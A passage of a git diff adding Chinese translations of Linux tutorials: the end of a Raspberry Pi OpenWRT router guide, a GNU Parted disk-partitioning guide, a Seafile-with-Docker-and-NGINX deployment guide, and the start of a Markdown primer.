访问过它,或者通过显示器和键盘连接到树莓派。OpenWRT 工作有一点点不同。你与这个系统交互是通过网页浏览器,所以你必须能够通过网络来访问你的树莓派。 + +缺省状态下,树莓派使用的 IP 地址是:192.168.1.1。用来配置树莓派的计算机必须和树莓派在同一个子网中。如果你的网络没有使用 192.168.1.x 地址,或者你不能确定,在 GNOME 打开 “设置Settings” ,导航到网络设置,选择 “手动Manual” ,然后键入以下的 IP 地址和子网掩码: + + * IP 地址:192.168.1.15 + * 网络掩码:255.255.255.0 + +![IP addresses][9] + +在你的电脑上打开浏览器然后导航到 192.168.1.1 。这将打开一个验证网页,你可以登录到你的树莓派。 + +![OpenWRT login page][10] + +首次登录不需要密码,所以直接点击 “登录Login” 按钮继续。 + +### 设置网络连接 + +树莓派只有一个以太网口,而普通路由器有两个:一个是 WAN(有线区域网络)口,另一个是 LAN (本地区域网络)。 + +你有两个选择: + + 1. 使用你的以太网口接入互联网 + 2. 使用 WIFI 接入互联网 + +#### 使用以太网连接 + +你决定使用以太网,导航到 “网络Network接口Interfaces”。在这个设置页面,按下与 “LAN” 接口对应的蓝色 “编辑Edit” 按钮。 + +![LAN interface][11] + +应该会出现一个弹窗,在这个窗口中,你需要键入与你将要连接树莓派的路由器子网匹配的 IP 地址。如果需要的话,修改子网掩码,并输入树莓派将要连接的路由器的 IP 地址。 + +![Enter IP in the LAN interface][12] + +保存设置,然后通过以太网将你的树莓派连接到路由器。你现在可以用这个新的 IP 地址访问树莓派。 + +当你在把树莓派投入生产环境使用之前,确保为你的 OpenWRT 设置一个密码! + +#### 使用 WiFi 连接 + +如果你想通过 WiFi 将树莓派连接到互联网,导航到 “网络Network无线Wireless” 。在 “无线Wireless” 菜单里,按下蓝色的 “扫描Scan” 按钮查找你的家庭网络。 + +![Scan the network][13] + +在弹出的窗口中,找到你的 WiFi 网络然后连接它。不要忘记 “保存并应用Save and Apply” 设置。 + +在这 “网络Network接口Interfaces” 部分,你应该看到了一个新的接口。 + +![New interface][14] + +当你在把树莓派投入生产环境使用之前,确保为你的 OpenWRT 设置一个密码! + +### 安装必要的软件包 + +默认状态下,路由器并没有安装许多软件包。OpenWRT 提供了一个包管理器,带有一系列你需要安装的。导航到 “系统System软件Software” 然后通过按下标有 “更新列表…Update lists...” 的按钮来更新你的包管理器。 + +![Updating packages][15] + +你将会看到许多软件包;你需要安装以下这些: + + * `usb-modeswitch` + * `kmod-mii` + * `kmod-usb-net` + * `kmod-usb-wdm` + * `kmod-usb-serial` + * `kmod-usb-serial-option` + * `kmod-usb-serial-wwan`(如果没有安装的话) + +另外,[下载这个调制解调器管理软件包][16],然后在弹出的窗口中按下标有 “上传软件包…Upload Package...” 的按钮来安装它。重启树莓派让安装包生效。 + +### 设置移动网络接口 + +所有这些软件包被安装完之后,你可以设置移动网络接口。在连接调制解调器到树莓派之前,请阅读 [调制解调器的说明书][17],对其进行设置。然后连接你的移动调制解调器到树莓派,然后等待一会直到调制解调器启动。 + +导航到 “网络Network接口Interfaces”。在页面底部,按下 “添加一个新接口…Add new interface...” 按钮。在弹出的窗口中,给你的接口起一个名字(比如 “mobile”),然后从下拉列表中选择 “ModemManager” 。 + +![Add a new mobile interface][18] + +按下一个标有 “创建接口Create Interface” 的按钮。你应该看到一个新的弹出窗口。这是设置接口的一个主窗口。在这个窗口中,选择你的调制解调器,然后键入像接入点名称Access Point Name(APN)或是 PIN 码之类的信息。 + +![Configuring the interface][19] + +**注意:** 如果在列表中没有调制解调器设备出现,尝试重启树莓派或者安装 `kmod-usb-net-qmi-wwan` 软件包 。 + +当你已经配置完你的接口,按下 “保存Save” 然后 “保存并应用Save and Apply”。给系统一些生效的时间。如果一切正常,你应该看到像这样的一些东西。 + +![Configured interface][20] + +如果你想通过接口查看你的网络连接,你可以使用 SSH 连接到你的树莓派 shell。在终端里,键入: + +``` +ssh root@192.168.1.1 +``` + +缺省 IP 地址是 192.168.1.1:如果你修改了它,就用修改后的 IP 地址连接。当连接后,在终端里执行命令: + +``` +ping -I ppp0 google.com +``` + +如果一切正常运行,那么你应该从 Google 的服务器接收到 ping 回包 。 + +![Terminal interface][21] + +`ppp0` 是你创建的移动网络接口的默认接口名称。你可以通过使用 `ifconfig` 命令检查你的接口。它只显示活动的接口。 + +### 设置防火墙 + +要让移动网接口运行,你需要为移动网络接口和本地网络接口配置防火墙,以便引导流量到正确的接口。 + +导航到 “网络Network防火墙Firewall”。在页面的底部,你应该看到一个叫做 “区域Zones” 的部分。 + +![Firewall zones][22] + +设置防火墙最简单的方法就是调整 “wan” 区域。在 “已覆盖的网络Covered networks” 选项里按下 “编辑Edit” 按钮,选择你的移动网络接口,然后 “保存并应用Save and Apply” 你的设置。如果你不想用 WiFi 连接你的树莓派,你可以从 “已覆盖的网络Covered networks” 里删除 “wwan” 接口,或者关闭 WiFi 连接。 + +![Firewall zone settings][23] + +如果你想为每个接口设置一个独立区域,只需创建一个新区域然后分配必要的接口即可。举个例子,你可能想有一个覆盖移动网络接口的区域,并且通过它来转发 LAN 接口流量。按下 “添加Name” 按钮,然后给你的区域 “命名Name”, 检查 “伪装” 复选框,选中 “已覆盖的网络Covered networks” ,并选择哪些区域可以转发其流量。 + +![Firewall zone settings][24] + +然后 “保存并应用Save and Apply” 这些修改。现在你有一个新的区域。 + +### 设置一个接入点 + +最后一步是为你的设备接入互联网设置一个网络接入点。要设置一个接入点,导航到 “网络Network无线Wireless” 。你将会看到一个 WiFi 设备接口,一个名为 OpenWRT 的禁用的接入点,以及一个用于通过 WiFi 连接互联网的连接(如果你之前没有禁用或删除它)。在这个禁用的接口上,按下 “编辑Edit” 按钮,然后 “启用Enable” 该接口。 + +![Enabling wireless network][25] + +如果你想,你可以通过编辑 “ESSID” 选项来修改接口名称。你也可以选择它要关联的网络。默认情况下,它会与 LAN 接口关联。 + +![Configuring the interface][26] + +要为这个接口添加密码,选择 “无线安全Wireless Security” 选项,选择 “WPA2-PSK” 加密方式然后在 “密钥Key” 选项字段键入接口的密码。 + +![Setting a password][27] + +然后 “保存并应用Save and Apply” 设置。如果设置正确的话,当用你的设备扫描可用接入点的话,你应该可以看到你分配了名称的新接入点。 + +### 额外的软件包 + +如果你愿意,你可以通过网页界面为你的路由器下载额外的软件包。只需到 “系统System软件Software” 然后安装你想从列表或者互联网上下载的软件包并上传它。如果你在列表中没有看到任何软件包,请按下 “更新列表…Update lists...” 按钮。 + +你也可以添加其他拥有适合与 OpenWRT 一起使用的软件包的仓库。软件包和它们的网页界面是分开安装的。软件包名称是以 “luci-” 开始的是网页界面软件包。 + +![Packages with luci- prefix][28] + +### 试试看 + +这就是我的树莓派路由设置的过程。 + +![Raspberry Pi router][29] + +从树莓派建立一个路由器不是很困难。缺点是树莓派只有一个以太网接口。你可以用一个 USB-to-Ethernet 适配器来增加更多的网口。不要忘记在接口的网站上设置网口。 + +OpenWRT 支持大量的移动调制解调器,你可以用管理调制解调器的通用工具 modemmanager 为它们设置移动网络接口。 + +你有没有把你的树莓派当作路由器使用?请在评论中告诉我们情况。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/3/router-raspberry-pi + +作者:[Lukas Janėnas][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlilfe) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/lukasjan +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/mesh_networking_dots_connected.png?itok=ovINTRR3 (Mesh networking connected dots) +[2]: https://openwrt.org/ +[3]: https://opensource.com/sites/default/files/uploads/lte_modem.png (Teltonika TRM240 modem) +[4]: https://creativecommons.org/licenses/by-sa/4.0/ +[5]: https://teltonika-networks.com/product/trm240/ +[6]: https://downloads.openwrt.org/releases/19.07.7/targets/brcm2708/bcm2710/ +[7]: https://opensource.com/sites/default/files/uploads/imagefiles.png (OpenWRT image files) +[8]: https://opensource.com/article/17/3/how-write-sd-cards-raspberry-pi +[9]: https://opensource.com/sites/default/files/uploads/ipaddresses.png (IP addresses) +[10]: https://opensource.com/sites/default/files/uploads/openwrt-login.png (OpenWRT login page) +[11]: https://opensource.com/sites/default/files/uploads/lan-interface.png (LAN interface) +[12]: https://opensource.com/sites/default/files/uploads/lan-interface-ip.png (Enter IP in the LAN interface) +[13]: https://opensource.com/sites/default/files/uploads/scannetwork.png (Scan the network) +[14]: https://opensource.com/sites/default/files/uploads/newinterface.png (New interface) +[15]: https://opensource.com/sites/default/files/uploads/updatesoftwarelist.png (Updating packages) +[16]: https://downloads.openwrt.org/releases/packages-21.02/aarch64_cortex-a53/luci/luci-proto-modemmanager_git-21.007.43644-ab7e45c_all.ipk +[17]: https://wiki.teltonika-networks.com/view/TRM240_SIM_Card +[18]: https://opensource.com/sites/default/files/uploads/addnewinterface.png (Add a new mobile interface) +[19]: https://opensource.com/sites/default/files/uploads/configureinterface.png (Configuring the interface) +[20]: https://opensource.com/sites/default/files/uploads/configuredinterface.png (Configured interface) +[21]: https://opensource.com/sites/default/files/uploads/terminal.png (Terminal interface) +[22]: https://opensource.com/sites/default/files/uploads/firewallzones.png (Firewall zones) +[23]: https://opensource.com/sites/default/files/uploads/firewallzonesettings.png (Firewall zone settings) +[24]: https://opensource.com/sites/default/files/uploads/firewallzonepriv.png (Firewall zone settings) +[25]: https://opensource.com/sites/default/files/uploads/enablewirelessnetwork.png (Enabling wireless network) +[26]: https://opensource.com/sites/default/files/uploads/interfaceconfig.png (Configuring the interface) +[27]: https://opensource.com/sites/default/files/uploads/interfacepassword.png (Setting a password) +[28]: https://opensource.com/sites/default/files/uploads/luci-packages.png (Packages with luci- prefix) +[29]: https://opensource.com/sites/default/files/uploads/raspberrypirouter.jpg (Raspberry Pi router) diff --git a/published/202204/20210401 Partition a drive on Linux with GNU Parted.md b/published/202204/20210401 Partition a drive on Linux with GNU Parted.md new file mode 100644 index 0000000000..071fd26540 --- /dev/null +++ b/published/202204/20210401 Partition a drive on Linux with GNU Parted.md @@ -0,0 +1,183 @@ +[#]: subject: (Partition a drive on Linux with GNU Parted) +[#]: via: (https://opensource.com/article/21/4/linux-parted-cheat-sheet) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) +[#]: collector: (lujun9972) +[#]: translator: (hwlife) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14463-1.html) + +在 Linux 上使用 GNU Parted 对磁盘分区 +====== + +> 了解对新的储存设备分区的基础知识,然后下载我们的速查表,让信息近在咫尺。 + +![](https://img.linux.net.cn/data/attachment/album/202204/12/162040edndfpnkn8233ppd.jpg) + +在 21 世纪,我们往往认为数据存储是理所当然的。我们有许多存储介质,相对价格便宜,而且有许多不同的可用类型。然而,不论你获得的免费云存储空间有多少,没有比有一个物理硬盘空间来存储重要的数据更好了(或容量真的很大的,而当你又在一个慢速网络上时)。然而,没有几块硬盘买回来就是现成的,至少在理想的状况下可以直接使用的。无论你是买了一块新硬盘,还用不同分区安装一个系统,你需要知道怎么在 Linux 上为磁盘分区。 + +这篇文章介绍了 GNU Parted ,它磁盘分区最好的工具之一。如果你偏向使用图形化程序,而不算终端命令行,请阅读我的《[为 Linux 格式化驱动器][2]》这篇文章。 + +### 磁盘标签、分区和文件系统 + +技术上来说,一个硬盘驱动器不需要很多软件,就可用作存储设备。然而,在没有分区表和文件系统等现代惯例的情况下使用硬盘是困难的、不切实际的,而且对你的数据不安全。 + +关于硬盘驱动器,这里有三个你需要知道的重要概念: + + * 磁盘标签disk label(或者 分区表partition table)是放置在磁盘驱动器起始位置的元数据,它告诉计算机可用的存储是何种类型、以及它在磁盘驱动器的位置等信息。 + * 分区partition 是一个识别文件系统位置的边界。举个例子,如果你有一个 512GB 的硬盘,你可以用占用所有磁盘容量(512GB)分成一个分区,或者分成两个分区,每个占用 256GB ,或者分成三个分区,占用各种不同大小的空间等等。 + * 文件系统filesystem 是一个硬盘驱动器和计算机两者约定俗成的存储方案。计算机必须知道怎样读取文件系统来拼凑存储在驱动器上的数据,并且必须知道怎样写入数据到文件系统并保持数据的完整性。 + +GNU Parted 程序管理着前两个概念:磁盘标签和分区。Parted 对文件系统有所了解,但是它把文件系统的实现细节交给了其他类似 `mkfs` 这样的工具。 + +> 下载 [GNU Parted 速查表][3] + +### 确定磁盘驱动器的位置 + +使用 GNU Parted 之前,你必须确定你的驱动器在你的系统上的位置。首先,将你要格式化的磁盘驱动器连接到你的系统,然后用 `parted` 命令查看连接到你的计算机的设备: + +``` +$ parted /dev/sda print devices +/dev/sda (2000GB) +/dev/sdb (1000GB) +/dev/sdc (1940MB) +``` + +你最新连接设备的名称在字母表上晚于连接时间更长的设备。举个例子,`/dev/sdc` 最有可能是我刚刚连接的磁盘。我能通过它的容量大小来确认,相比于我的工作站上的主要驱动器的 TB 大小来说,因为我知道我插入的 U 盘只有 2GB(1940MB,足够接近)大小。如果你不能确定,你可以得到的更多关于你想要分区的驱动器的信息: + +``` +$ parted /dev/sdc print +Model: Yoyodyne Tiny Drive 1.0 (scsi)     +Disk /dev/sdc: 1940MB +Sector size (logical/physical): 512B/512B +Partition Table: msdos +Disk Flags: + +Number  Start   End     Size    File system  Name  Flags + 1      1049kB  2048kB  1024kB  BS           Bloat  Hidden + 2      2049kB  1939MB  1937MB  FAT32        MyDrive +``` + +有些驱动器比其他驱动器有更多的元数据。这个磁盘表明它的物理驱动器品牌是 Yoyodyne ,此外,在磁盘的起始处包含了一个小的隐藏分区,后面是一个兼容 Windows 的臃肿的 FAT32 分区。这确实是我要重新打算格式化的驱动器。 + +继续之前,_确认_ 你已经确定了要分区的正确驱动器。 _对错误的驱动器重新分区会导致数据丢失。_ 为了安全起见,在本文中所有具有潜在破环性的命令都指向在你的系统中不太可能有的 `/dev/sdX` 设备。 + +### 创建磁盘标签(或者分区表) + +要在磁盘上创建一个分区,驱动器必须要有一个磁盘标签disk label。磁盘标签也被叫做 分区表partition table,所以 Parted 对两个术语都接受。 + +要创建一个磁盘卷标,使用 `mklabel` 或 `mktable` 子命令: + +``` +$ parted /dev/sdX mklabel gpt +``` + +这个命令在 `/dev/sdX` 的驱动器前面创建了一个 **gpt** 标签,删除了任何可能存在的标签。这是一个快速的过程,因为所有被替换的信息都是关于分区的元数据。 + +### 创建分区 + +要在磁盘创建分区,使用 `mkpart` 子命令,后跟可选的分区名称,再跟分区的开始和结束位置。如果你在磁盘上只需要一个分区,那么大小调整是容易的:开始位置输入 1 ,结束位置输入 100% 。使用 `--align opt` 参数允许 Parted 调整分区边界位置便于磁盘获得最佳性能: + +``` +$ parted /dev/sdX --align opt \ +mkpart example 1 100% +``` + +用 `print` 子命令查看你的新分区: + +``` +$ parted /dev/sdX print +Model: Yoyodyne Tiny Drive 1.0 (scsi) +Disk /dev/sdi: 1940MB +Sector size (logical/physical): 512B/512B +Partition Table: gpt +Disk Flags: + +Number  Start   End     Size   + 1      1049kB  1939MB  1938MB +``` + +你不必将整个磁盘用作一个分区。分区的优势是在一个磁盘上可以存在多个文件系统,它们之间不会相互干扰。在确定分区大小的时候,你可以使用 `unit` 子命令来设置你想用的测量方法。Parted 可以理解扇区sector柱面cylinder磁头head字节byte、KB、MB、GB、TB 和百分比。(LCTT 译注:具体使用方法请参阅手册页) + +你也可以指定你打算使用的分区的文件系统。这并不会创建文件系统,但是它为你以后方便使用提供了元数据。 + +将磁盘对半分,一个是 XFS 文件系统,另一个是 EXT4 文件系统: + +``` +$ parted /dev/sdX --align opt \ +mkpart xfs 1 50% +$ parted /dev/sdX --align opt \ +mkpart ext4 51% 100% +``` + +### 命名分区 + +除了标记分区用于什么文件系统之外,你也可以为每个分区命名。一些文件管理器和工具可以读取分区名称,能够帮助你区分驱动器。例如,我经常有几个不同的驱动器连接到我的媒体工作站,每个属于一个不同的项目。当创建这些驱动器的时候,我同时命名了分区和文件系统,这样,无论我怎么看我的系统,有重要数据的位置都会被清楚地标示出来。 + +要命名一个分区,你必须知道它的序号: + +``` +$ parted /dev/sdX print +[...] +Number  Start   End     Size   File system  Name     Flags + 1      1049kB  990MB   989MB  xfs          example + 2      1009MB  1939MB  930MB  ext4         noname +``` + +要命名分区 1: + +``` +$ parted /dev/sdX name 1 example +$ parted /dev/sdX print +[...] +Number  Start   End     Size   File system  Name     Flags + 1      1049kB  990MB   989MB  xfs          example + 2      1009MB  1939MB  930MB  ext4         noname +``` + +### 创建文件系统 + +要让你的驱动器能够正常使用,你必须在新分区上创建一个文件系统。GNU Parted 并不做这些,因为它只是一个分区管理器。在磁盘上创建文件系统的 Linux 命令是 `mkfs`,但也有一些有用的工具可以让你用来创建特定类型的文件系统。例如,`mkfs.ext4` 创建 EXT4 文件系统,`mkfs.xfs` 创建 XFS 文件系统等等。 + +你的分区位于磁盘驱动器的“内部” ,所以你不是在 `/dev/sdX` 上创建文件系统,而是在 `/dev/sdX1` 上为第一个分区创建文件系统,在 `/dev/sdX2` 上为第二个分区创建,以此类推。 + +这里是一个创建 XFS 文件系统的例子: + +``` +$ sudo mkfs.xfs -L mydrive /dev/sdX1 +``` + +### 下载我们的速查表 + +Parted 是一个灵活而强大的工具。你可以发出命令,如本文所示的那样,或者激活一个交互模式以不断 “连接” 你指定的驱动器: + +``` +$ parted /dev/sdX +(parted) print +[...] +Number  Start   End     Size   File system  Name     Flags + 1      1049kB  990MB   989MB  xfs          example + 2      1009MB  1939MB  930MB  ext4         noname + +(parted) name 1 mydrive +(parted) +``` + +如果你打算经常使用 Parted ,[下载我们的 GNU Parted 速查表][3],让信息近在咫尺。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/4/linux-parted-cheat-sheet + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlife) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coverimage_cheat_sheet.png?itok=lYkNKieP (Cheat Sheet cover image) +[2]: https://opensource.com/article/18/11/partition-format-drive-linux#gui +[3]: https://opensource.com/downloads/parted-cheat-sheet diff --git a/published/202204/20210419 How to Deploy Seafile Server with Docker to Host Your Own File Synchronization and Sharing Solution.md b/published/202204/20210419 How to Deploy Seafile Server with Docker to Host Your Own File Synchronization and Sharing Solution.md new file mode 100644 index 0000000000..9f9c50272f --- /dev/null +++ b/published/202204/20210419 How to Deploy Seafile Server with Docker to Host Your Own File Synchronization and Sharing Solution.md @@ -0,0 +1,279 @@ +[#]: subject: (How to Deploy Seafile Server with Docker to Host Your Own File Synchronization and Sharing Solution) +[#]: via: (https://itsfoss.com/deploy-seafile-server-docker/) +[#]: author: (Hunter Wittenborn https://itsfoss.com/author/hunter/) +[#]: collector: (lujun9972) +[#]: translator: (hwlife) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14468-1.html) + +怎样用 Docker 部署 Seafile 服务器来托管你自己的文件同步和共享解决方案 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/13/141808f7fo7444ozv75z5s.jpg) + +首先,什么是 Seafile ? + +[Seafile][1] 是一个自托管文件同步程序,采用客户端/服务器模式,即你有笔记本、手机等多个设备,能够连接到一个中心服务器。 + +不像类似 [Nextcloud 或 ownCloud][2] 这些更流行的替代品一样,Seafile 试图遵循 “只做一件事,但是要做好” 的理念。同样,Seafile 没有内置额外的类似联系人或者日历聚合的功能。 + +相反,Seafile 只专注于文件同步、共享及与之相关的事情,仅此而已。但正因为如此,它最终做的非常好。 + +### 使用 Docker 和 NGINX 部署 Seafile 服务器 + +> **高级教程** +> +> 我们的许多教程都是针对初学者的。这篇则不然,它是为那些经常鼓捣 DIY 项目和喜欢自托管的高级用户设计的。这个教程假定你可以熟练的使用命令行,而且你至少对我们将要使用的程序有一定的了解。 + +虽然整个过程完全可以不使用 NGINX ,但是使用 NGINX 更加容易配置,而且在将来更加容易的自托管更多的服务。 + +如果你想完全使用 Docker 环境,你也可以 [在 Docker 内部设置 NGINX][3] ,但是它这会使事情变得更加复杂,并且不能够带来太多好处。同样,在本教程里也不会涉及这些。 + +#### 安装设置 NGINX + +在这个教程中,我会使用 Ubuntu,因此会使用 `apt` 来安装软件包。如果你使用 Fedora 或者一些其他非 Debian 发行版,请使用你的发行版的 [包管理器][4]。 + +[NGINX][5] 既是一个网页浏览器,又是一个代理服务器。它将起到 Seafile 服务器和互联网之间网络连接的作用,同时也使一些任务更容易处理。 + +要安装 NGINX ,使用以下命令: + +``` +sudo apt install nginx +``` + +如果你想使用 HTTPS(也就是浏览器中的小挂锁),你需要安装 [Certbot][6]: + +``` +sudo apt install certbot python3-certbot-nginx +``` + +下一步,你需要设置 NGINX 来连接我们之后将要设置的 Seafile 实例。 + +首先,运行以下命令: + +``` +sudo nano /etc/nginx/sites-available/seafile.conf +``` + +键入下方的文本到文件中: + +``` +server { + server_name localhost; + location / { + proxy_pass http://localhost:8080; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + } +} +``` + +**重要**: 将 `server_name` 一行的 `localhost` 替换为你要访问你的服务器的地址(比如 `seafile.example.com` 或者 `192.168.0.0`)。不确定要输入什么吗? + + * 如果你只是为了测试,使用 `localhost` 。这个设置将 **只允许你从你的电脑访问服务器** ,仅此而已。 + * 如果你想通过你的本地 Wi-Fi 连接使用 Seafile(与你在同一 Wi-Fi 网络上),你应该键入 [你的计算机 IP 地址][7]。你也可以考虑 [设置一个静态 IP 地址][8],尽管这不是必须的。 + * 如果你有一个公网 IP 地址,你知道它指向你的系统,就使用它。 + * 如果你有一个域名(比如 `example.com`、`example.org`)和公网 IP 地址,更改你的 DNS 设置,将域名指向你的系统的 IP 地址。这也需要将公网 IP 指向你的系统。 + +现在你需要复制配置文件到 NGINX 的查找目录中,然后重启 NGINX : + +``` +sudo ln -s /etc/nginx/sites-available/seafile.conf /etc/nginx/sites-enabled/seafile.conf +sudo systemctl restart nginx +``` + +如果你要安装 Cerbot,你也需要运行以下命令来设置 HTTPS : + +``` +sudo certbot +``` + +如果要重定向 HTTP 流量 到 HTTPS ,选择 `2` 。 + +现在可以来确认我们目前设置的一切都是否正常工作。如果你访问你的站点,你应该看到一个屏幕上写着 `502 Bad Gateway` 字样。 + +![][9] + +#### 安装 Docker 和 Docker Compose + +现在要进入有趣的部分了! + +首先,你需要安装 [Docker][10] 和 [Docker Compose][11] 。Docker Compose 需要利用 `docker-compose.yml` 文件,这将使管理多个 Docker [容器][12] 的 Seafile 需求变得更加容易。 + +Docker 和 Docker Compose 可以用以下的命令来安装: + +``` +sudo apt install docker.io docker-compose +``` + +检查 Docker 是否安装并运行,运行以下命令: + +``` +sudo docker run --rm hello-world +``` + +如果你完全安装成功,你应该在终端能看到这几行文字: + +![][13] + +如果你想避免在 `docker` 命令的开始添加 `sudo` 的话,你可以运行以下的命令将你自己添加到 `docker` 组: + +``` +sudo groupadd docker +sudo usermod -aG docker $USER +``` + +这个教程的其余部分假定你已经运行了以上两个命令。如果你没有运行,在所有 `docker` 或 `docker-compose` 的命令都添加 `sudo` 。 + +#### 安装 Seafile 服务器 + +这部分比之前部分明显容易的多。你所需要做的是输入一些文本到文件,然后运行一些命令。 + +打开一个终端,然后创建一个 Seafile 服务器用来储存内容的目录,并进入目录中: + +``` +mkdir ~/seafile-server && cd ~/seafile-server +``` + +![][14] + +转到你创建的目录然后运行以下命令: + +``` +nano docker-compose.yml +``` + +下一步,在弹出的窗口中键入以下文本内容: + +``` +version: '2.0' +services: + db: + image: mariadb + container_name: seafile-mysql + environment: + - MYSQL_ROOT_PASSWORD=password + - MYSQL_LOG_CONSOLE=true + volumes: + - ./data/mariadb:/var/lib/mysql + networks: + - seafile-net + + memcached: + image: memcached + container_name: seafile-memcached + entrypoint: memcached -m 256 + networks: + - seafile-net + + seafile: + image: seafileltd/seafile-mc + container_name: seafile + ports: + - "8080:80" + volumes: + - ./data/app:/shared + environment: + - DB_HOST=db + - DB_ROOT_PASSWD=password + - TIME_ZONE=Etc/UTC + - SEAFILE_ADMIN_EMAIL=me@example.com + - SEAFILE_ADMIN_PASSWORD=password + - SEAFILE_SERVER_LETSENCRYPT=false + - SEAFILE_SERVER_HOSTNAME=docs.seafile.com + depends_on: + - db + - memcached + networks: + - seafile-net + +networks: + seafile-net: +``` + +在保存文件之前,一些参数需要更改: + + * `MYSQL_ROOT_PASSWORD`:更换强壮的密码,你不必记住它,所以不要尝试挑选简单的密码。如果你需要帮助生成一个,请使用 [密码生成器][15] 。我建议使用 20 位字符长度并且避免使用任何的特殊字符(`!@#$%^&*` 等符号)。 + * `DB_ROOT_PASSWD`:更改你为 `MYSQL_ROOT_PASSWORD` 设置的值 。 + * `SEAFILE_ADMIN_EMAIL`:设置管理员帐户的电子邮件地址。 + * `SEAFILE_ADMIN_PASSWORD`:设置管理员帐户密码。避免与`MYSQL_ROOT_PASSWORD` 或者 `DB_ROOT_PASSWD` 密码相同。 + * `SEAFILE_SERVER_HOSTNAME`:在 NGINX 配置中设置 Seafile 的服务器主机名。 + +完成之后,你可以运行 `docker-compose` 整个运行起来: + +``` +docker-compose up -d +``` + +可能需要花一到两分钟,取决于你的网速,因为需要拉下几个 Seafile 需要运行的几个容器。 + +完成以后,还需要几分钟来完成。你也可以通过以下命令来检查运行状态: + +``` +docker logs seafile +``` + +当完成了,你将会看到如下输出: + +![][17] + +下一步,你只需要在你的浏览器里键入你设置的 `SEAFILE_SERVER_HOSTNAME` 的地址,然后你应该看到登录屏幕的页面。 + +![][18] + +就这样!现在一切功能齐全,准备用客户端来使用。 + +#### 安装 Seafile 客户端 + +Seafile 移动客户端在 [Google Play][19]、[F-Droid][20] 和 [苹果商店][21] 都是可用的。Seafile 也有 Linux、Windows 和 Mac 桌面客户端可用,可在 [此处][22] 找到。 + +通过 `seafile-gui` 软件包,可以在 Ubuntu 系统轻松获得 Seafile : + +``` +sudo apt install seafile-gui +``` + +通过 `seafile-client` 软件包 Seafile 也包含在 Arch 用户的 AUR 包管理器中。 + +### 结语 + +请尽情探索客户端及其所能提供的一切。我将在未来的一篇文章中详细阐述 Seafile 客户端的所有功能。(敬请期待 😃) + +总的来说,如果有什么错误,或者你有什么问题,请在下方评论 – 我会尽我所能回应。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/deploy-seafile-server-docker/ + +作者:[Hunter Wittenborn][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlife) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/hunter/ +[b]: https://github.com/lujun9972 +[1]: https://www.seafile.com/en/home/ +[2]: https://itsfoss.com/nextcloud-vs-owncloud/ +[3]: https://linuxhandbook.com/nginx-reverse-proxy-docker/ +[4]: https://itsfoss.com/package-manager/ +[5]: https://www.nginx.com/ +[6]: https://certbot.eff.org/ +[7]: https://itsfoss.com/check-ip-address-ubuntu/ +[8]: https://itsfoss.com/static-ip-ubuntu/ +[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/nginx_bad_gateway.png?resize=489%2C167&ssl=1 +[10]: https://www.docker.com/ +[11]: https://docs.docker.com/compose/ +[12]: https://www.docker.com/resources/what-container +[13]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/seafile-docker-helloworld.png?resize=752%2C416&ssl=1 +[14]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/seafile-dir.png?resize=731%2C174&ssl=1 +[15]: https://itsfoss.com/password-generators-linux/ +[16]: https://itsfoss.com/cdn-cgi/l/email-protection +[17]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/04/seafile-running.png?resize=752%2C484&ssl=1 +[18]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/seafile-login.jpg?resize=800%2C341&ssl=1 +[19]: https://play.google.com/store/apps/details?id=com.seafile.seadroid2 +[20]: https://f-droid.org/repository/browse/?fdid=com.seafile.seadroid2 +[21]: https://itunes.apple.com/cn/app/seafile-pro/id639202512?l=en&mt=8 +[22]: https://www.seafile.com/en/download/ diff --git a/published/202204/20210424 Getting Started With Markdown -Beginner-s Guide.md b/published/202204/20210424 Getting Started With Markdown -Beginner-s Guide.md new file mode 100644 index 0000000000..43d44058e9 --- /dev/null +++ b/published/202204/20210424 Getting Started With Markdown -Beginner-s Guide.md @@ -0,0 +1,310 @@ +[#]: subject: (Getting Started With Markdown [Beginner’s Guide]) +[#]: via: (https://itsfoss.com/markdown-guide/) +[#]: author: (Bill Dyer https://itsfoss.com/author/bill/) +[#]: collector: (lujun9972) +[#]: translator: (hwlife) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14503-1.html) + +Markdown 初学者指南 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/24/140247d969nm9kkhxeknje.jpg) + +在我的工作中,我经常要写代码、写与代码相配套的文档、创建网页、进行文本恢复项目。我在学校的时候还写过几篇正式的论文,也包括写课堂笔记,几乎每节课都写。 + +我几乎在我所有的写作中都使用 Markdown,它对我来说是一个节省时间的好工具。 + +在这篇文章中,我将分享我使用 Markdown 的体会。你将会了解以下内容: + + * 什么是 Markdown ? + * 它是怎么工作的? + * Markdown 的基本语法和怎样使用它们。 + +### 什么是 Markdown ? + +假如你是 Markdown 新手,它是一个为网络写手转换文本到 HTML 格式的工具。Markdown 